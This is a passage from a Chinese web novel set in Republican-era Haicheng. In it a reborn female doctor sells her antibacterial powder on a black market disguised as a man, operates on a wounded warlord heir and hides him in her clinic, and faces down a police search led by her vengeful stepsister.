“乡亲们!我康德海这条命,就是沈大夫给捡回来的!以前咱们商会有眼不识泰山,多有得罪。今天,我把话撂在这儿——”
“从今往后,济世堂就是我海城商会的至尊贵宾!谁要是敢跟沈大夫过不去,就是砸我康德海的饭碗!”
说完,他猛地扯下牌匾上的红绸。
阳光下,四个镏金大字熠熠生辉——
【妙手回春】
落款是:海城总商会会长康德海敬赠。
“好!!”
人群中爆发出一阵雷鸣般的掌声和叫好声。赵龙带着丐帮兄弟混在人群里,巴掌都拍红了。
这一刻,济世堂彻底站稳了脚跟。它不再是一个靠施粥送药勉强维持的破落铺子,而是成了海城的一块金字招牌,连商会都要敬畏三分。
与此同时,沈家出租屋。
因为沈公馆已经被搬空抵债,沈家众人只能搬到了华界一处阴暗潮湿的弄堂里。
此时,沈志远正瘫在破旧的藤椅上,手里攥着那份报纸,手背上青筋暴起。
“妙手回春……神医……呵呵……”
他看着报纸上沈晚清那张被抓拍的照片,照片里的她穿着白大褂,眼神坚毅,美得让他不敢直视。
这还是那个唯唯诺诺、只知道围着他转的沈家大小姐吗?
“志远啊,家里的米没多少了……”王氏端着一碗稀粥走进来,看着满地的酒瓶,小心翼翼地说道,“要不……你去求求康会长?你以前不是跟他也有些交情吗?”
“求他?”
沈志远猛地把报纸撕得粉碎,像是被踩了尾巴的猫一样跳起来,“我去求他?现在全海城都知道我是个骗子!康德海恨不得扒了我的皮!我去求他就是送死!”
“那……那怎么办啊?”王氏哭丧着脸,“那个死丫头现在发达了,听说一天诊金就能收几百大洋!咱们却在这里喝西北风……”
“闭嘴!”
沈志远把桌上的破碗狠狠摔在地上。碎片飞溅,吓得王氏缩了回去。
“她得意不了多久!”沈志远眼神阴毒,像是阴沟里的毒蛇,“爬得越高,摔得越惨。她现在是神医是吧?是活菩萨是吧?我倒要看看,如果这个活菩萨治**人,甚至是治**大人物……她还怎么收场!”
他想起了之前那个被他买通的商会小喽啰透露的消息——北方那位陆少帅,似乎受了重伤,正在秘密寻找名医。
如果能把沈晚清的消息“透露”给陆家的仇家,或者让她卷入军阀的斗争中……
沈志远嘴角勾起一抹疯狂的笑意。
济世堂,入夜。
送走了最后一位病人,热闹了一整天的济世堂终于恢复了宁静。
但沈晚清并没有休息。
后院的密室里,灯火通明。
亨利医生正穿着白大褂,像个学徒一样,站在沈晚清身边,帮她调试着一套复杂的玻璃蒸馏设备。
自从那天赌约输了之后,这位傲慢的英国人彻底变成了沈晚清的“迷弟”。他不仅履行承诺提供了大量紧缺的西药和器械,还主动提出要在济世堂建立一间符合标准的西医实验室。
“沈,你的这个提取方案……真的是天才的想法。”亨利看着试管里析出的淡黄色结晶,眼中满是狂热,“这种物质的抗
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菌效果,比目前市面上所有的消炎药都要好!如果能提纯……”
“不仅是提纯。”
沈晚清手里摇晃着试管,目光深邃,“亨利,我想跟你谈一笔大生意。”
“什么生意?”
“我要你以租界医院的名义,帮我从国外进口一批精密的培养皿和高纯度的活性炭。作为回报,这种‘沈氏消炎粉’的海外代理权,我可以给你两成。”
亨利倒吸了一口冷气。
他太清楚这药的价值了。在战争频发的年代,抗生素就是黄金,就是命!
“两成?”亨利咽了口唾沫,“沈,你简直是个魔鬼。但我无法拒绝。”
“成交。”沈晚清放下试管,伸出手。
两只手紧紧握在了一起。
这一刻,一个足以垄断未来海城乃至全国黑市药品交易的庞大商业帝国——“沈氏制药”,在这个简陋的实验室里初具雏形。
就在这时,窗外突然传来一声夜枭般的哨声。
那是宋副官的信号。
沈晚清神色一凛。
“亨利,今天就到这里。我有客人。”
亨利识趣地点点头,收拾东西从侧门离开了。
片刻后,宋副官那高大的身影出现在密室门口。
这一次,他没有穿军装,而是换了一身不起眼的黑色长衫,但身上那股子血腥味却怎么也掩盖不住。
“沈小姐。”宋副官的声音压得很低,带着一丝掩饰不住的焦急,“少帅……到了。”
沈晚清心头猛地一跳。
“他在哪?”
“就在城外的秘密据点。但是……”宋副官咬了咬牙,“少帅伤得很重,而且……他不愿意进城,说是怕连累您。”
沈晚清闻言,眉头紧紧皱起。
怕连累她?
那个不可一世、强取豪夺的陆淮锦,竟然也会说出这种话?
她想起那天在破庙里,他即使重伤也要独自引开追兵的背影;想起他留下的那枚帮她度过难关的翡翠扳指。
“备车。”
沈晚清二话不说,脱下白大褂,换上一身利落的衣衫。她从柜子里取出一个特制的急救箱,里面装着她刚提炼出的高纯度磺胺,还有那套早已磨得锋利无比的手术刀。
“沈小姐,外面全是各路军阀的眼线,您现在去……”宋副官有些犹豫。现在沈晚清可是海城的名人,无数双眼睛盯着她。
“正因为我是名人,才更方便掩护。”
沈晚清冷笑一声,从抽屉里拿出一张烫金的请帖——那是康德海为了庆祝康复,明晚要在公馆举办的盛大舞会。
“告诉少帅,让他撑住。”
沈晚清将请帖扔在桌上,眼中闪烁着决断的光芒,“明天晚上,我会让全海城的人都知道,沈神医在康公馆赴宴。而真正的我……”
她摸了摸藏在袖口里的手术刀。
“会去把他的命,从阎王爷手里抢回来。”
海城的风,又要变了。
这一次,不再是商战宅斗的小打小闹,而是真正的——烽火佳人。
第14章 黑市的“沈先生”
海城,深夜。
康公馆的露天花园里,灯火璀璨,爵士乐靡靡。康德海会长的康复舞会正在高潮,衣香鬓影间,所有人都伸长了脖子,想要一睹那位“女华佗”的风采。
然而,他们注定要失望了。
因为此时此刻,那位传说中的沈神医,正消失在康公馆二楼的客房里,取而代之的,是一个身穿黑色长衫、头戴宽檐礼帽、脸上架着一副茶色墨镜的清瘦“男人”。
沈晚清看着镜子里的自己。束胸勒平了曲线,喉结处贴了一块巧妙的仿真皮,这是亨利从好莱坞特效化妆师那里弄来的小玩意,再加上特意压低的嗓音和那股子生人勿近的冷冽气质,活脱脱就是一个混迹江湖的斯文败类。
“从现在起,我是沈先生。”
沈晚清推了推墨镜,从后窗翻身跃下,身影瞬间融入了茫茫夜色。
……
城南,三不管地带,“鬼市”。
这里是海城的阴暗面,是法律触及不到的角落。**、**、情报、人命,只要有钱,这里什么都卖。
今晚的鬼市格外躁动。
因为听说那位神龙见首不见尾的“沈先生”,今晚要来出货了。
在一间不起眼的茶棚里,几个满脸横肉的帮派大佬正焦急地搓着手。他们是海城地下黑市的几个大庄家,平日里谁也不服谁,今天却乖得像小学生。
“来了!”
不知谁喊了一声。
只见人群自动分开一条道。沈晚清双手插在长衫口袋里,步履从容地走了进来。赵龙带着几个彪形大汉紧随其后,眼神凶狠地扫视四周,充当**。
“沈先生!”“沈先生好!”
几个大佬连忙起身拱手,脸上堆满了讨好的笑。
他们不得不敬。
这半个月来,海城黑市上突然出现了一种白色的“神药粉”。这种药粉对于刀伤、枪伤引发的感染简直有奇效,撒上去就能止脓退烧。在刀口舔血的江湖人眼里,这就等于是一条命!
而这种药,只有这位神秘的“沈先生”手里有。
“各位久等了。”
沈晚清并没有摘下墨镜,声音低沉沙哑,透着一股不容置疑的威压。她从怀里掏出五个用油纸包好的小方块,扔在桌上。
“还是老规矩。这批货只有这么多。价高者得,但我只收一样东西。”
“大黄鱼?美金?您尽管开口!”一个光头大佬急切道。
沈晚清摇了摇头手指。
“我要通行证。”
她淡淡道,“出城的特别通行证。要有军方盖章的,还要一辆满油的卡车。”
几个大佬面面相觑。现在外面正在打仗,出城盘查极严,这东西可不好弄。
“怎么,办不到?”沈晚清作势要收回药包。
“办得到!办得到!”那个光头大佬一咬牙,从怀里摸出一张皱巴巴却盖着鲜红印章的纸,“这是我花大价钱从守备司令部弄来的,本来是想运一批烟土……既然沈先生要,那就孝敬您了!”
沈晚清接过通行证,扫了一眼,确真无疑。
“成交。”
她将一包药扔给光头,又将剩下的四包分给其他人,“剩下的,算我预付的定金。今晚的事,烂在肚子里。若是走漏了风声……”
她没说话,只是赵龙手中的那根铁棍“咔嚓”一声,竟被生生掰弯了。
“不敢!绝对不敢!”
众人噤若寒蝉。
拿到了想要的东西,沈晚清没有片刻停留,转身就走。
出了鬼市,早已等候在阴影处的宋副官立刻把一辆福特卡车开了过来。
“沈小姐……不,沈先生,您这招真是绝了。”宋副官看着那一箱箱作为掩护的“货物”和那张通行证,由衷地佩服,“我原本还打算带人硬闯关卡,那样肯定会暴露少帅的行踪。”
“硬闯是下策。”沈晚清跳上副驾驶,摘下墨镜,露出一双在黑暗中熠熠生辉的眸子,“能用钱和利益解决的问题,就不要流血。走,去接他。”
……
城外三十里,废弃磨坊。
雨又开始淅淅沥沥地下了起来。
沈晚清推开磨坊那扇吱呀作响的木门时,一股浓烈的血腥味扑面而来,甚至盖过了霉烂的稻草味。
磨坊中央,只点着一盏昏暗的马灯。
几个穿着便衣的亲卫正**警戒,看到宋副官带人进来,才稍稍松了口气。
而在最里面的那张破木板床上,躺着一个人。
陆淮锦。
半个月没见,他瘦了。
原本合身的军装显得有些空荡,那张曾经不可一世、充满侵略性的脸庞,此刻呈现出一种灰败的颜色。他的双眼紧闭,眉头死死锁着,嘴唇干裂起皮,正在无意识地低喃着什么。
“少帅昨天遭遇了直系的一支精锐伏击。”亲卫队长红着眼眶汇报道,“为了掩护我们撤退,他腹部的旧伤崩开了,肩膀又挨了一枪……更糟糕的是,伤口好像发炎了,一直高烧不退。”
她快步走过去,伸手探向他的额头。
烫。
烫得吓人。
“把灯拿过来!”沈晚清厉声喝道,迅速打开了随身携带的急救箱。
借着灯光,她解开了陆淮锦的衣服。
只见半个月前她在破庙里缝合的那道腹部伤口,因为剧烈运动再次崩裂,红肿不堪,渗出黄水。而右肩处的新枪伤更是狰狞,**还在里面,周围的肌肉已经呈现出坏死的紫黑色。
“胡闹!”
沈晚清忍不住骂出声来,“刚缝好的肚子就敢去打仗,他是觉得自己有九条命吗?”
虽然嘴上骂着,但她手下的动作却快得惊人。
“宋副官,按住他。我要取弹,还要清创。”
“没麻药……”
“我有。”
沈晚清拿出一个小瓶子,倒在纱布上,捂住了陆淮锦的口鼻。
陆淮锦的身体微微抽搐了一下,随后彻底瘫软下来。
手术开始了。
这一次的环境比破庙稍微好一点,至少有亮光,有沈晚清带来的全套黑科技。
取弹、切除坏死组织、清洗脓液、再次缝合。
沈晚清专注得像是在雕刻一件稀世珍宝。汗水顺着她的脸颊滑落,滴在地上,那是她这半个月来最为紧张的时刻。
一个小时后。
当最后一针缝完,沈晚清将厚厚的一层“沈氏消炎粉”撒在伤口上,然后用洁白的纱布层层包裹。
“挂水。”
她拿出一套自制的简易输液装置,将一瓶葡萄糖盐水挂在了磨盘上,针头刺入陆淮锦的手背静脉。
做完这一切,她才感觉自己活过来了。
周围的亲卫们都看傻了。他们跟了少帅这么多年,见过无数军医,没一个像这位“沈先生”这么利索、这么神乎其技的。尤其是那个挂水的瓶子,简直闻所未闻。
“沈……沈小姐,少帅他……”宋副官小心翼翼地问。
“死不了。”
沈晚清擦了擦手,坐在床边的
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破凳子上,看着那张依旧昏迷的脸,“今晚是关键。只要烧退了,这关就算过了。”
夜深了。
亲卫们轮流去外围警戒,宋副官也去门口守着了。
磨坊里只剩下沈晚清和昏迷的陆淮锦。
前世,这个男人是在战场上所向披靡的战神,是后来统一北方的霸主。而在各种传闻中,他冷血无情,**如麻,终身未娶,最后死于一场离奇的暗杀,怀里只揣着一张模糊不清的女子照片。
沈晚清不知道那张照片是谁。
她只知道,这一世,既然命运让他们纠缠在一起,既然她救了他两次,那这笔债,他就得用一辈子来还。
“陆淮锦,你欠我的诊金,可是越来越多了。”她低声呢喃。
似乎是听到了她的声音,或者是那熟悉的药香安抚了躁动的神经。
一直昏迷的陆淮锦,睫毛颤了颤,缓缓睁开了眼睛。
视线从模糊到清晰。
他看到了那个坐在床边的人。
一身男装,但那股清冷的药香。
“沈……晚清?”
他的声音嘶哑得不成样子,却带着一种笃定的笑意。
沈晚清一愣:“少帅认错人了,我是沈先生。”
“呵……”
陆淮锦低笑一声,胸腔的震动牵扯到伤口,让他皱了皱眉。
“全天下……只有你能让我睡个好觉。”
“这里不安全。”陆淮锦收起了玩笑的神色,正色道,“直系的搜查队很快就会搜到这片区域。我的身份不能暴露,否则会引起两系全面开战。”
“我知道。”
“所以我把卡车带来了,通行证也搞定了。天一亮,我们就进城。”
“进城?”陆淮锦皱眉,“现在城里到处都是眼线,去哪?”
“去一个灯下黑的地方。”
沈晚清嘴角勾起一抹狡黠的笑,“一个绝对没人敢查,也没人想得到的地方。”
……
次日清晨,济世堂。
阿福刚打开店门,就看见一辆运送药材的卡车停在后院门口。
几个伙计正小心翼翼地从车上搬下一个巨大的“木箱”,上面贴着“剧**材”的封条。
“东家,这是……”阿福好奇地凑过去。
“别碰。”沈晚清一身男装走了下来,手里拿着一把折扇敲了敲阿福的头,“这是新到的特殊药材,怕光,怕吵,得供起来。”
阿福似懂非懂地点点头。
等到“木箱”被抬进后院最隐蔽的那间客房,沈晚清才长舒一口气,打开了箱子盖。
陆淮锦从里面坐了起来,脸色虽然苍白,但眼神却亮得惊人。
他环顾四周。
这是一间女子的闺房。
布置得清雅素净,梳妆台上摆着几瓶西式的护肤品,空气中弥漫着那股让他魂牵梦萦的药香和淡淡的脂粉气。
“这就是你说的‘灯下黑’?”
陆淮锦看向正关上房门的沈晚清,嘴角勾起一抹玩味的笑,“沈大夫,你这是要……金屋藏娇?”
沈晚清走过去,将他按回床上,居高临下地看着他:
“少帅说反了。这叫‘强势征用’。”
她指了指这间屋子,“从今天起,这里是我的地盘。你是我的病人。在这里,我是天,你是地。我想怎么治,就怎么治。”
陆淮锦看着眼前这个霸气侧漏的小女人,眼底的笑意几乎要溢出来。
他缓缓躺下,舒服地陷进柔软的枕头里,闭上了眼睛。
第15章 特殊的换药费
济世堂,后院。
正午的阳光透过窗棂洒在青石板地上,前堂的喧闹声隐隐约约传来,显得后院格外幽静。
但这幽静中,却透着一股子令人头皮发麻的低气压。
宋副官像根木桩子一样杵在厢房门口,手里端着一碗凉透的药汤,额头上冷汗直冒。他已经在门口站了半个时辰了,里面的那位爷,一口都不肯喝。
“沈……沈大夫。”
看到沈晚清终于忙完前堂的事走过来,宋副官像是看到了救星,压低声音告状,“少帅不肯喝药,也不肯让我换药。他说……我的手太粗,像锉刀,是在**。”
沈晚清解开白大褂的扣子,闻言冷笑一声:“他是伤了肚子和肩膀,又不是伤了脑子。怎么,还要人喂?”
宋副官苦着脸:“少帅的脾气您是知道的。这伤口疼起来,他就要**。刚才一只麻雀落在窗台上叫了两声,少帅差点拔枪把它崩了。”
沈晚清挑了挑眉。
“给我吧。”
沈晚清接过药碗,推门而入。
房间里拉着厚厚的窗帘,光线昏暗,弥漫着一股淡淡的血腥味和**擦拭后的味道。
陆淮锦并没有躺在床上养伤。
他赤裸着上身,腰间缠着厚厚的纱布,正坐在那张从沈家搬来的红木太师椅上。手里拿着一把拆开的**,正用一块鹿皮慢条斯理地擦拭着**。
听到脚步声,他没有抬头,只是那一瞬间,浑身的肌肉紧绷如铁,枪口下意识地微转——直到闻到了那股熟悉的药草香,才缓缓放松下来。
“舍得进来了?”
他的声音低沉沙哑,“我还以为沈大夫忙着在前堂收钱,忘了这屋里还有个快死的病人。”
沈晚清把药碗重重地往桌上一搁,发出“咚”的一声。
“少帅既然有力气擦枪,看来是死不了。”
她走到窗边,一把拉开窗帘。
刺眼的阳光瞬间涌入。
陆淮锦眯起眼睛,下意识地抬手遮挡,常年不见光的苍白皮肤在阳光下呈现出一种病态的冷感,但他身上的伤痕却更加触目惊心。
除了这次的新伤,他的胸口、背部,密密麻麻布满了各种陈旧的刀疤和弹孔,像是一枚枚狰狞的勋章。
“不想伤口烂掉,就晒晒太阳。”沈晚清转过身,抱臂看着他,“听宋副官说,你不肯换药?”
陆淮锦放下手里的枪零件,靠在椅背上,那双狭长的眸子上下打量着沈晚清,嘴角勾起一抹玩味的弧度,像是在看一只不知死活的猎物。
“宋副官那双手是杀猪的,不知轻重。”
他指了指自己渗血的纱布,“沈大夫收了我那么贵的‘挂号费’,这种贴身伺候的活儿,不该是你亲自来做吗?”
沈晚清看着他那副理所当然的大爷模样,心里暗骂了一句“无赖”。
但她是医生,跟病人置气犯不着。
“行,我来。”
沈晚清从急救箱里拿出剪刀和镊子,搬了把椅子坐在他对面,“腿分开点,挡着光了。”
陆淮锦挑眉,依言岔开长腿。两人的膝盖不可避免地撞在了一起。
沈晚清没理会这暧昧的距离,她俯下身,冰凉的剪刀探入他腰间的纱布。
“忍着点,粘在肉上了。”
“嗤——”
纱布撕开的瞬间,连带着扯下了几丝血肉。
陆淮锦的身体猛地一颤,那双抓着扶手的大手瞬间暴起青筋,指节泛白。但他硬是一声没吭,只是死死盯着近在咫尺的沈晚清。
她离得很近。
低垂着头,几缕发丝垂落在他赤裸的胸膛上,带来一阵酥痒。她神情专注,那双拿惯了手术刀的手稳得可怕,一点点清理着伤口周围的脓血。
陆淮锦甚至能看清她脸上细微的绒毛,还能闻到她身上那股混杂着消毒水和茉莉花香的味道。
这种味道,让他原本因为疼痛而躁动的血液,更加沸腾了。
但他不是那种会沉溺于温柔乡的男人。对于他来说,越是美好的东西,越想……摧毁,或者占有。
“沈晚清。”
他突然开口,声音有些暗哑。
“嗯?”沈晚清正专心涂抹磺胺粉,头也没抬。
“你不怕我吗?”
陆淮锦突然伸手,一把扣住了她的下巴,强迫她抬起头来。
他的手指粗糙有力,带着薄茧,摩挲着她细腻的肌肤,有些疼。
“外面的人都叫我‘陆阎王’。我杀过的人,比你救过的人都多。”他那双深邃的眼睛里翻涌着危险的暗潮,逼视着她,“只要我手指稍微用点力,你的脖子就会断。”
沈晚清被迫仰视着他。
两人的呼吸交缠在一起。
她在他眼中看到了毫不掩饰的侵略性,那是一种野兽审视猎物的眼神。
怕吗?
上辈子或许会怕得发抖。但重活一世,她连死都经历过了,还怕什么活阎王?
沈晚清没有躲闪,也没有尖叫。
她只是静静地看着他,然后举起手里沾着碘伏的棉球,毫不客气地按在了他伤口最深处!
“嘶——!”
陆淮锦猝不及防,疼得倒吸一口凉气,扣住她下巴的手瞬间松开了。
“少帅,我也提醒你一句。”
沈晚清趁机退开半步,晃了晃手里的镊子,眼神冷淡,“我现在手里拿着的虽然是镊子,但如果我想,随时可以戳穿你的大动脉。你的命现在在我手里,所以,收起你那套吓唬小孩的把戏。”
陆淮锦捂着伤口,额头上冷汗直冒,但他看着沈晚清的眼神却变了。
不再是单纯的戏谑,而是多了一丝震惊,随后化作了更浓烈的兴趣。
这女人,带刺的。
而且是有毒的刺。
“哈哈哈哈……”
陆淮锦突然低声笑了起来,笑得胸腔都在震动,“好,好得很。敢威胁我的女人,你是第一个。”
他重新靠回椅子上,张开双臂,一副任人宰割的模样:“来吧,沈大夫,继续。这次我保证不乱动。”
沈晚清白了他一眼,继续低头处理伤口。
经过刚才那一番“较量”,房间里的气氛发生了一些微妙的变化。那种单方面的压迫感消失了,取而代之的是一种势均力敌的张力。
终于,伤口重新包扎完毕。
沈晚清收拾好器械,站起身:
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“一共换了三块纱布,用了两克磺胺,外加我的人工费。承惠,五块大洋。”
陆淮锦一愣:“什么?”
“亲兄弟明算账。”沈晚清摊开手掌,一脸公事公办,“少帅既然说了要我‘亲自’伺候,那这专家号的价钱自然不一样。之前的扳指是救命钱,现在这是护理费。概不赊账。”
她就是要在他们之间划清界限。谈钱,是最安全的距离。
陆淮锦看着伸到面前的那只白皙的小手。
不仅不生气,反而觉得有些好笑。这女人,还真是个财迷。
“五块大洋?”
陆淮锦慢悠悠地站起来。他虽然受了伤,但这身板站起来足足比沈晚清高了一个头,极具压迫感。
他一步步逼近,沈晚清下意识地后退,直到后背抵上了冰冷的墙壁。
“沈大夫,我现在身无分文。”
陆淮锦单手撑在墙上,将她圈在怀里,低下头,凑到她耳边,温热的气息喷洒在她的耳廓上:
“不过,我这人最讲信用。既然没钱……”
沈晚清心跳漏了一拍,手已经悄悄摸向了袖子里的手术刀。
“那就肉偿如何?”
沈晚清眼神一冷,刚要动手。
却见陆淮锦从脖子上摘下了一块不起眼的黑色铁牌,随手扔进了她的手心。
“这块牌子,能调动我在海城暗桩的所有人马。”
陆淮锦退开一步,看着她错愕的表情,嘴角勾起一抹得逞的坏笑,“五块大洋买我半条命,沈老板,这笔买卖,你赚大了。”
沈晚清握着那块带着他体温的铁牌,只觉得掌心发烫。
这是……兵符?
虽然只是局部的,但其价值不可估量。
“少帅就不怕我拿着这个去卖?”沈晚清平复了一下呼吸,反问道。
“你不会。”
陆淮锦重新拿起那把枪,眼里闪过一丝精光,“因为你跟我是一类人。我们都贪心,你要的不仅仅是钱,我要的也不仅仅是命。”
“沈晚清,我们来日方长。”
……
从后院出来时,沈晚清的脸颊还有些微烫。
那个疯子。
她在心里骂了一句,将那块铁牌贴身收好。
“东家!东家!”
阿福慌慌张张地跑了过来,“不好了!外面有人**!”
沈晚清神色一凛,迅速恢复了冷静:“谁?”
“是……是您那个继妹,沈雨柔!”
阿福气愤地说道,“她带了一群巡捕房的人,说是接到举报,咱们济世堂私藏**,还窝藏……窝藏逃犯!要搜查后院!”
沈晚清的眼神瞬间冷了下来。
私藏逃犯?
看来,沈家那几只臭虫还没死绝,又闻着味儿来了。
如果是以前,她或许还会紧张。
但现在,她摸了摸口袋里那块刚到手的铁牌,又回头看了一眼那个紧闭着窗帘的房间。
“搜查?”
沈晚清整理了一下衣领,嘴角勾起一抹冰冷的弧度。
“正好,我刚收了一笔‘巨额’诊金,心情不太好。”
“既然有人送上门来当出气筒,那就别怪我不客气了。”
第16章 搜查风波
济世堂,前堂。
原本秩序井然的诊堂此刻一片狼藉。
几名穿着黑制服、背着**的巡捕粗暴地推搡着正在排队的病人,踢翻了熬药的小炉子。药汤泼了一地,苦涩的味道混杂着泥土腥气,在这闷热的午后令人作呕。
“都给老子让开!巡捕房办案!”
领头的是个满脸横肉的探长,姓王,手里拎着一根警棍,正神气活现地指挥着手下清场。
而在王探长身边,站着一个穿着粉色洋装、涂着猩红口红的女人。
正是沈雨柔。
相比于半个月前在婚礼上的狼狈,今天的沈雨柔似乎找回了些许“底气”。她昂着下巴,眼神轻蔑地扫视着这间破旧的药铺,最后落在正从后院走出来的沈晚清身上。
“哎哟,姐姐,好大的架子啊。”
沈雨柔用手帕捂着鼻子,阴阳怪气地说道,“这生意做得是不错,只可惜,是个藏污纳垢的地方。”
沈晚清站在台阶上,身后跟着一脸怒容的阿福和几个早就握紧了拳头的伙计。
她刚刚还在后院被那个男人“调戏”,此刻脸上那点不易察觉的红晕早已褪去,取而代之的是一脸寒霜。
“沈雨柔,你是嫌上次婚礼上的录音还没听够?”
沈晚清冷冷地看着她,“还是说,沈志远那个骗子没钱给你买胭脂水粉,让你跑我这儿来打秋风?”
听到“录音”和“骗子”,沈雨柔的脸色瞬间扭曲了一下。那是她这辈子的耻辱!
但很快,她又笑了起来,笑得有些狰狞:“沈晚清,你别得意!你以为你勾搭上了洋人和康会长,我就拿你没办法了?”
她挽住旁边王探长的胳膊,那姿态亲密得让人作呕:“这位是法租界巡捕房的王探长。我们接到确切举报,你这济世堂后院,窝藏了被通缉的要犯!”
“窝藏逃犯?”
沈晚清挑了挑眉,目光落在那个王探长身上,“王探长是吧?饭可以乱吃,话可不能乱说。我这里是医馆,只藏病人,不藏犯人。”
“少废话!”王探长被沈晚清那清冷的目光看得有些发毛,但一想到沈雨柔许诺的那笔巨额“线人费”,便硬着头皮喝道,“有人亲眼看见昨晚有不明身份的卡车进了你的后院!而且,那个人受了枪伤!沈小姐,如果你心里没鬼,就让我们搜一搜!”
“搜?”
沈晚清往前一步,挡在了通往后院的门帘前。
“这里是治病救人的地方,后院更是重症监护区,需要绝对的无菌环境。你们这一身尘土细菌冲进去,要是病人有个三长两短,王探长,你担得起这个责任吗?”
她搬出了康德海这尊大佛:“前两天康会长刚送了牌匾,说保我济世堂平安。王探长今天带人来砸场子,是不给康会长面子,还是不给商会面子?”
王探长愣了一下。康德海他确实惹不起。
“别听她吓唬人!”沈雨柔见王探长犹豫,急忙煽风点火,“探长,那个逃犯可是北方那边的大人物!要是抓住了,赏金可是好几万大洋!跟这笔钱比起来,康德海算什么?再说了,只要坐实了她窝藏**,康德海还会保一个阶下囚吗?”
几万大洋的赏金。
这个诱惑太大了。
王探长眼中的贪婪战胜了恐惧。
“给我搜!”王探长把心一横,挥舞着警棍,“谁敢阻拦,以妨碍公务罪论处!那个什么无菌区,老子今天偏要闯一闯!”
“我看谁敢!”
阿福和赵龙带着几个丐帮兄弟冲了上来,挡在前面。
“哗啦——”
巡捕们纷纷拉动**,黑洞洞的枪口对准了手无寸铁的伙计们。
局势一触即发。
沈晚清藏在袖子里的手,紧紧握住了那块黑色的铁牌。
她在赌。
赌陆淮锦的威慑力,也赌这块牌子的分量。
但就在她准备亮牌的一瞬间,沈雨柔已经趁乱像个疯婆子一样冲到了最前面,一把掀开了通往后院的厚重棉门帘。
“我看你往哪儿藏!野男人就在里面吧!”
沈雨柔兴奋地尖叫着,带着几个巡捕冲进了后院。
沈晚清心头一沉。
拦不住了。
后院,那间紧闭着窗帘的厢房门口,宋副官并不在那里。
此时,房门紧闭。
“就在那间房!”沈雨柔指着那间透着药味的屋子,“我闻到血腥味了!肯定在那!”
王探长一听有血腥味,更加确信是受伤的逃犯,立刻带着人包抄过去,一脚踹向了那扇雕花的木门。
“砰!”
木门应声而开。
所有人都屏住了呼吸,枪口齐刷刷地对准了屋内。
沈雨柔更是瞪大了眼睛,迫不及待地想要看到沈晚清身败名裂的画面。
然而,屋内并没有想象中惊慌失措的逃犯,也没有什么野男人躲在床底下的狼狈景象。
昏暗的光线下,只有一个男人。
他背对着门口,坐在一把旧藤椅上,身上披着一件宽大的黑色丝绸睡袍,正面对着窗户,手里似乎在把玩着什么东西。
即便只是一个背影,那种如山岳般沉稳、又如深渊般危险的气场,却让冲进来的巡捕们本能地停下了脚步。
“举起手来!转过身!”王探长咽了口唾沫,厉声喝道。
那男人没有动。
“我让你转过身!”王探长有些恼羞成怒,端着枪就要冲进去。
“滚。”
只有一个字。
声音不高,甚至带着几分慵懒和被打扰的不悦,但听在众人耳中,却像是一道惊雷炸响。
紧接着,那个男人缓缓转过了头。
借着门口射入的光线,王探长终于看清了那张脸。
那是一张极其英俊却又极其冷酷的脸。剑眉星目,鼻梁高挺,只是脸色有些苍白。
但最让王探长魂飞魄散的,不是他的脸,而是他手里把玩的那样东西——
那是一把黄金握把的**,枪身上刻着一只狰狞下山的猛虎。
“虎……虎头枪?!”
王探长的腿瞬间就软了。
作为在海城混迹多年的老油条,他怎么可能不知道这把枪的主人是谁?
北方的那位“活阎王”,奉系军阀的少帅,陆淮锦!
传闻他**如麻,脾气暴躁,最恨别人拿枪指着他。
而自己现在……
“当啷”一声。
王探长手里的警棍掉在了地上。
紧接着,他“噗通”一声跪了下来,膝盖磕在青砖地上,发出一声脆响。
“陆……陆……少帅?!”
这一跪,把后面的沈雨柔给跪懵了。
“探长?你干什么?”沈雨柔不可置信地尖叫,“抓人啊!他就是那个逃犯!你看他手里有枪!”
“闭嘴!你想害死我吗?!”
王探长回手就是一巴掌,狠狠抽在沈雨柔脸上,“啪”的一声,把沈雨柔打得原地转了个圈,嘴角瞬间渗出了血。
“这哪里是什么逃犯!这是北方的陆少帅!”王探长浑身抖如筛糠,冷汗瞬间浸透了后背。他现在只想把沈雨柔这个蠢女人掐死。谁告诉他这是个通缉犯?这是祖宗啊!
陆淮锦坐在椅子上,眼神淡漠地扫过跪在地上的王探长,最后落
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在捂着脸发呆的沈雨柔身上。
“刚才,是谁说这里藏了野男人?”
他缓缓抬起手,黑洞洞的枪口随意地指向了沈雨柔。
沈雨柔被那冰冷的杀气锁定,吓得两腿一软,直接瘫坐在地上。
“我……我……”
她看着眼前这个气场强大的男人,虽然受了伤,但那股子上位者的威压根本掩饰不住。
这就是那个传说中的……陆少帅?
那个沈晚清救回来的野男人,竟然是统领三十万大军的少帅?!
嫉妒、恐惧、绝望,瞬间淹没了她。凭什么?凭什么沈晚清那个**运气这么好!随便救个人都是这种通天的大人物!
这时候,沈晚清不紧不慢地从外面走了进来。
她看了一眼跪在地上的王探长,又看了一眼像死狗一样的沈雨柔,最后目光落在陆淮锦身上。
男人正似笑非笑地看着她,眼神里写着:这场戏,好看吗?
沈晚清心里叹了口气。
这就叫“降维打击”吧。
“王探长。”沈晚清走到王探长面前,居高临下地看着他,“现在,还要搜吗?”
“不搜了!不搜了!”王探长磕头如捣蒜,“沈小姐!我有眼无珠!我是被这个疯女人骗了!您大人有大量,求您跟少帅求个情,别杀我!”
他知道,只要陆淮锦动动手指,他全家都得从海城消失。
沈晚清没有理会他的求饶,而是转头看向陆淮锦:
“少帅,这毕竟是济世堂,见了血不吉利。”
陆淮锦挑了挑眉,收回了枪。
“既然沈老板开口了,那就滚吧。”
他厌恶地挥了挥手,“不过,这个女人太吵了。以后我不想在海城这块地界上,再听到她的声音。”
这句轻描淡写的话,直接判了沈雨柔的**。
不是**,却比**更难受——那是彻底的**和流放。
“是!是!属下明白!”王探长如蒙大赦,从地上爬起来,一把揪住沈雨柔的头发,像拖死狗一样往外拖。
“不!我不走!我是沈家二小姐!我是留洋博士的未婚妻……”沈雨柔凄厉地惨叫着,双手在地上乱抓,留下一道道血痕。
但根本没人理会她。
那些原本气势汹汹的巡捕们,此刻恨不得多生两条腿,逃命似地冲出了济世堂。
一场危机,就在陆淮锦的一个眼神下,消弭于无形。
后院重新恢复了安静。
沈晚清看着那扇被踹坏的木门,有些心疼。
“这门可是红木的,很贵。”她转头看向陆淮锦。
陆淮锦把玩着手里的枪,嘴角勾起一抹无赖的笑:
“记账。算在刚才那五块大洋里。”
沈晚清气笑了。
她走过去,看着他苍白的脸色:“刚才装得挺像那么回事,伤口没裂吧?”
“裂了。”
陆淮锦突然伸手,一把将她拉到了自己腿上坐下。
“啊!”沈晚清惊呼一声,下意识地想要站起来,却被他死死扣住腰肢。
“别动。”
